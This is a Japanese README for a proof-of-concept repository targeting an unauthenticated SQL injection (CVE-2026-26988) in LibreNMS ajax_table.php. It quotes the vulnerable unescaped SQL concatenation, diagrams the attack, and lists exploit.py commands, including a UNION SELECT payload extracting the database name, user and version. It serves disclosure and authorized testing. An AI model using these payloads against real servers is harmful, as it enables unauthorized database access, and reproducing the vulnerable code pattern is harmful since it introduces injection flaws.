CVE-2026-26988 – LibreNMS 認証なしSQLインジェクション PoC

LibreNMS ajax_table.php におけるIPv6アドレス検索パラメータを介した認証なしSQLインジェクション。

影響を受けるバージョン: LibreNMS ≤ 25.12.0
修正バージョン: LibreNMS ≥ 26.1（コミット 15429580baba03ed1dd377bada1bde4b7a1175a1）
CVSS v4.0: 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N
CWE: CWE-89（SQLコマンドで使用される特殊要素の不適切な無害化 – SQLインジェクション）

脆弱性の概要

search_type=ipv6 のとき、address パラメータは / でアドレスとプレフィックスに分割されます。
プレフィックスはエスケープ処理なしでSQLクエリに直接連結されます：

$sql .= " AND ipv6_prefixlen = '$prefix'";

プレフィックス部分にシングルクォート（'）を含めると文字列リテラルから抜け出せます → 任意のSQLインジェクションが可能になります。

攻撃フロー図

flowchart TD
    A[Attacker] -->|1. HTTP POST to /ajax_table.php| B[LibreNMS Web Server]
    B -->|2. id=address-search & search_type=ipv6| C[Parse address parameter]
    C -->|3. Split on '/' → $address / $prefix| D[Build vulnerable SQL]
    D -->|4. Concatenate: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
    E -->|5. Execute injected query| F[Return results / error / delay]
    F -->|6. Attacker observes response / timing| A

    subgraph "Injection Point"
        D
    end

    style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff

概念実証（PoC）の使用方法

要件

Python 3.x
requests ライブラリ（pip install requests）

基本テスト（構文エラー / 500）

python3 exploit.py http://target/librenms --test

時間ベースのブラインド確認（推奨）

python3 exploit.py http://192.168.1.50/librenms --time

→ 応答に5〜6秒以上かかる場合 → 脆弱性あり

ブールベースのブラインドテスト

python3 exploit.py http://target/librenms --boolean

カスタムペイロードの例

python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "

このリポジトリのファイル

exploit.py .............. メインのPoCスクリプト（必要に応じて cve-2026-26988-poc.py からリネーム）
README.md ............... このファイル

責任ある開示

報告日: 2026年2月（GitHub Security Advisory 経由）
修正: コミット 15429580baba... → PR #18777
アドバイザリ: https://github.com/librenms/librenms/security/advisories/GHSA-h3rv-q4rq-pqcv

法的・倫理的注意事項

この概念実証は、教育目的および許可されたセキュリティテスト目的のみで提供されています。

所有者からの明示的な書面による許可なしに、このコードをいかなるシステムやネットワークに対しても使用しないでください。
無断使用は、米国の Computer Fraud and Abuse Act（CFAA）や、お住まいの国の同等の法律を含む（ただしこれらに限定されない）法律に違反する可能性があります。

自己責任で使用してください。

著者: Mohammed Idrees Banyamer
Instagram: @banyamer_security
日付: 2026年2月20日

CVE-2026-26988-LibreNMS-SQLi

人気